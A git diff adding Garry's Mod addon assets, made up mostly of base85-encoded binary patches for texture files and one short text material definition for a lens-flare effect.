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 CLo&Yr literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt new file mode 100644 index 0000000..bb19b3d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + $basetexture "effects/lensflare/circle" + $additive 1 + $vertexcolor 1 + $vertexalpha 1 + $ignorez 1 + $nocull 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/effects/lensflare/circle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..e9cf2c9ca2eabdfb93e65d3f3764101102b25d1a GIT binary patch literal 2976 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 